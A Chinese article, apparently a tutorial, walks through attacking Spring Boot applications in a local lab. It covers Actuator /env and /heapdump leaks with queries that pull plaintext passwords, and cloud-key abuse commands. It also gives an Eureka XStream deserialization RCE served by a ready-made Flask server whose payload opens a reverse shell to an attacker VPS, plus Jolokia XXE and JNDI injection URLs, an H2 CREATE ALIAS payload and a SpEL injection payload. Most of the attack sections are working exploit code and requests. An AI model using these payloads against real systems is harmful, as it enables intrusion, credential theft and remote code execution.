Springboot 的这些漏洞你了解吗?在使用中一定要注意!!

本文涉及的产品
云解析 DNS,旗舰版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
全局流量管理 GTM,标准版 1个月
简介: Springboot 的这些漏洞你了解吗?在使用中一定要注意!!

0x00 前言

在日常的项目中经常会遇到使用Spring Boot框架的网站,小编对该框架的常见利用方式进行了整理。此文中的漏洞环境均在本地搭建。

0x01 信息泄露

1.1 漏洞利用

在拿到一个网站后通常通过两个位置判断网站是否使用了Spring Boot框架。1、网站图片文件是一个绿色的树叶。2、特有的报错信息。

image.png

如果开发人员配置不当,将接口暴露在公网上或者未配置权限限制访问,黑客可以使用以下的Actuator监控原生端点获取到一些网站的敏感数据。

image.png

GET请求/env会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范会泄露密码明文。

image.png

通过/env端口泄露的信息发现使用的是AWS云主机。

image.png

正常GET请求目标/heapdump或/actuator/heapdump接口获取被星号脱敏的密码的明文,下载应用实时的JVM堆信息。成功下载,如下图所示。
image.png

使用Eclipse Memory Analyzer工具的OQL(对象查询语言)语句:

spring boot 1.x版本
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

spring boot 2.x版本
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

辅助快速过滤分析,获得密码明文。成功获取challengepassword密码 *.H......

image.png

但是有点遗憾的是该目标网站并没有找到 accessKey、secreKey,如果能成功查询出这两个Key就可以利用下面的工具进行命令执行等系列操作,或者使用行云管家对主机进行绑定。

1.2 利用工具

工具地址:https://github.com/iiiusky/alicloud-tools 指定 AK/SK 查看所有实例信息:

./AliCloud-Tools  -a xxx -s xxx ecs --list

运行上条命令拿到示例 ID,之后就可以执行命令了:

./AliCloud-Tools  -a xxx -s xxx ecs exec -I

实例ID -c "whoami"(可以反弹shell等一系列操作。)

0x02 Eureka XStream Deserialization RCE

Eureka是Netflix开发的服务发现框架,本身是一个基于REST的服务,主要用于定位运行在AWS域中的中间层服务,以达到负载均衡和中间层服务故障转移的目的。Spring Cloud将它集成在其子项目Spring-Cloud-Netflix中,以实现Spring Cloud的服务发现功能。

2.1 漏洞原理

(1)eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。

(2)refresh 触发目标机器请求远程URL,提前架设的fake eureka server就会返回恶意的payload。

(3)目标机器相关依赖解析payload,触发XStream反序列化,造成RCE漏洞。

2.2 利用条件

(1)可以POST请求目标网站的/env接口设置属性。

(2)可以POST请求目标网站的/refresh接口刷新配置(存在 spring-boot-starter-actuator 依赖)。

(3)目标使用的eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)。

(4)目标可以请求攻击者的HTTP服务器(请求可出外网)。

2.3 漏洞利用

通常Eureka是在Netflix上部署,我们利用关键词netflix或者 eureka.client.serviceUrl.defaultZone在env端点泄露的信息中进行搜索。
image.png

在VPS上搭建Eureka Server,启动该服务的端口是 2333。反弹shell的端口是 443,反弹shell的ip是启动服务的地址。

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={
   
   'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2333)

image.png

抓包改变请求方式GET→POST ,修改eureka.client.serviceUrl.defaultZone属性为启动eureka server地址。

image.png

访问/refresh刷新设置。

image.png

服务端接收到请求。
image.png

在VPS的 443 端口设置监听,可以看到成功反弹shell。

image.png

0x03 Jolokia 组件漏洞

Jolokia 是一个用来访问远程JMX MBeans的方法,它可以利用JSON通过Http实现JMX远程管理的开源项目,即允许对所有已经注册的MBean进行Http访问,具有快速、简单等特点。除了支持基本的JMX操作之外,它还提供一些独特的特性来增强JMX远程管理如:批量请求,细粒度安全策略等。

3.1 漏洞原理

(1)直接访问可触发漏洞的URL,相当于通过jolokia调用 ch.qos.logback.classic.jmx.JMXConfigurator类的reloadByURL方法。

(2)目标机器请求外部日志配置文件URL地址,获得恶意xml文件内容。

(3)目标机器使用saxParser.parse解析xml文件 (这里导致了 xxe 漏洞)。

(4)xml文件中利用logback依赖的insertFormJNDI标签,设置了外部JNDI服务器地址。

(5)目标机器请求恶意JNDI服务器,导致JNDI注入,造成RCE漏洞。

3.2 利用条件

(1)目标网站存在/jolokia或/actuator/jolokia接口。

(2)目标使用了jolokia-core依赖(版本要求暂未知)并且环境中存在相关MBean。

(3)目标可以请求攻击者的HTTP服务器(请求可出外网)。

(4)JNDI注入受目标JDK版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式。

3.3 XXE 漏洞利用

在 VPS 上创建 XXE 攻击文件,并使用命令python -m SimpleHTTPServer 8888开启web服务。
image.png
image.png

构造连接:
http://10.27.2.188:9099/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip:8888!/logback.xml

可以成功读取/etc/passwd文件内容。
image.png

3.4 Jolokia Logback JNDI RCE 漏洞利用

首先在 VPS 上上传 JNDI[1],并启动 JNDI 服务 java -jar JNDI-1.0-all.jar
image.png

修改 jolokia-logback.xml 并上传到 VPS 上。
image.png

构造连接:
http://10.27.2.188:9099/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip:8888!/jolokia-logback.xml

可成功打开计算器。

image.png

查看 JNDI 的 config.properties,可以进行命令执行、文件写入等操作。
image.png

0x04 H2 Database Query RCE

H2是一个使用Java编写的数据库,支持内存、文件等多种模式,经常用于项目的测试环境。

4.1 漏洞原理

(1)spring.datasource.hikari.connection-test-query属性被设置为一条恶意的 CREATE ALIAS创建自定义函数的SQL语句。

(2)其属性对应HikariCP数据库连接池的connectionTestQuery配置,定义一个新数据库连接之前被执行的SQL语句。

(3)restart重启应用,会建立新的数据库连接。

(4)如果SQL语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成RCE漏洞。

4.2 利用条件

(1)可以POST请求目标网站的/env接口设置属性。

(2)可以POST请求目标网站的/restart接口重启应用(存在 spring-boot-starter- actuator 依赖)。

(3)存在com.h2database.h2依赖。

image.png

4.3 漏洞利用

抓包改变请求方式GET→POST,设置spring.datasource.hikari.connection-test-query属性为:

{
   
   "name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');"}
由于环境是Spring 2.x版本还需要修改请求体中的content-type字段的值 application/json。

image.png
image.png

0x05 Whitelabel Error Page SpEL RCE

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

5.1 漏洞原理

(1)spring boot处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中。

(2)此时URL中的参数值会用parseStringValue方法进行递归解析。

(3)其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的resolvePlaceholder方法当作SpEL表达式被解析执行,造成RCE漏洞。

5.2 利用条件

(1)spring boot1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。

(2)至少知道一个触发springboot默认错误页面的接口及参数名。

5.3 漏洞利用

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法。
image.png

执行 open -a Calculator 命令:

${
   
   T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{
   
   0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))

image.png

0x06 总结

6.1 区分 Spring 版本

(1)对于 Spring 1x ,它们在根URL下进行注册,但在Spring 2x版本中将此功能移动到“/actuator/”的路径下。

(2)Spring1.X和Spring2.X的POST请求数据也存在区别,Spring1.X是通过Content-Type: application/x-www-form-urlencoded传参,Spring2.X是通过Content-Type: application/json传参。

6.2 Reference

https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

https://github.com/LandGrey/SpringBootVulExploit

https://blog.csdn.net/weixin_45551083/article/details/107443330

https://www.freebuf.com/column/234719.html

References
[1] JNDI: https://github.com/su18/JNDI

目录
相关文章
|
Prometheus 监控 安全
SpringBoot Actuator未授权访问漏洞的解决方法
SpringBoot Actuator未授权访问漏洞的解决方法Actuator 是 SpringBoot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。
24133 0
|
3月前
|
存储 安全 Java
发现 XSS 漏洞?别急!SpringBoot这招轻松搞定!
在SpringBoot中,发现XSS(跨站脚本)漏洞时,可以通过一系列措施来轻松搞定这些安全问题。XSS攻击允许攻击者在受害者的浏览器中注入恶意脚本,这些脚本可以窃取用户的敏感信息、劫持用户会话或进行其他恶意操作。以下是一些在SpringBoot中修复XSS漏洞的有效方法
580 7
|
存储 安全 前端开发
springboot下xss漏洞的修复
还有很多修复方式,比如可以利用springcloud gateway进行过滤,但是主要应用本身也要进行加固,网关只能过滤外部威胁
660 0
|
监控 安全 IDE
Springboot Actuator未授权访问漏洞复现
Springboot Actuator未授权访问漏洞复现
2511 0
|
监控 安全 Java
16 spring boot漏洞利用
Spring框架为开发Java应用程序提供了全面的基础架构支持。它包含一些很好的功能,如依赖注入和开箱即用的模块,如:Spring JDBC、Spring MVC、Spring Security.Spring AOP、Spring ORM、Spring Test,这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早期阶段,我们需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的JDBCTemplate,我们可以将操作简化为几行代码。|
16 spring boot漏洞利用
|
安全 Java API
【异常】解决springboot项目shiro框架下的AppScan漏洞会话标识未更新问题
解决springboot项目shiro框架下的AppScan漏洞会话标识未更新问题
275 0
|
安全 Java 应用服务中间件
Apache Log4j 爆核弹级漏洞,Spring Boot 默认日志框架就能完美躲过。。。
突发!Apache Log4j2 报核弹级漏洞。。赶紧修复!! 如果你使用的是 Log4j 1.x、Logback 或者其他日志框架,这次就可以幸免于难。
Apache Log4j 爆核弹级漏洞,Spring Boot 默认日志框架就能完美躲过。。。
|
运维 安全 前端开发
Spring 官宣高危漏洞 springboot 2.6.6 已修复
Spring 官宣高危漏洞 springboot 2.6.6 已修复
327 0
|
安全 前端开发 Java
第7课:Java Spring Boot 2.0安全机制、漏洞与MVC身份验证实战
本期分享主题:Java Spring Boot2.0实战MyBatis与优化 (Java面试题) Java Spring Boot 2.0是最新的开发平台,深入介绍Spring Boot 2.0 安全特性与原理、机制,以及如何实现 MVC网站和API身份验证,对于常见的安全问题和处理策略,以及可行的安全方案,最后是经典Java面试题。
3187 0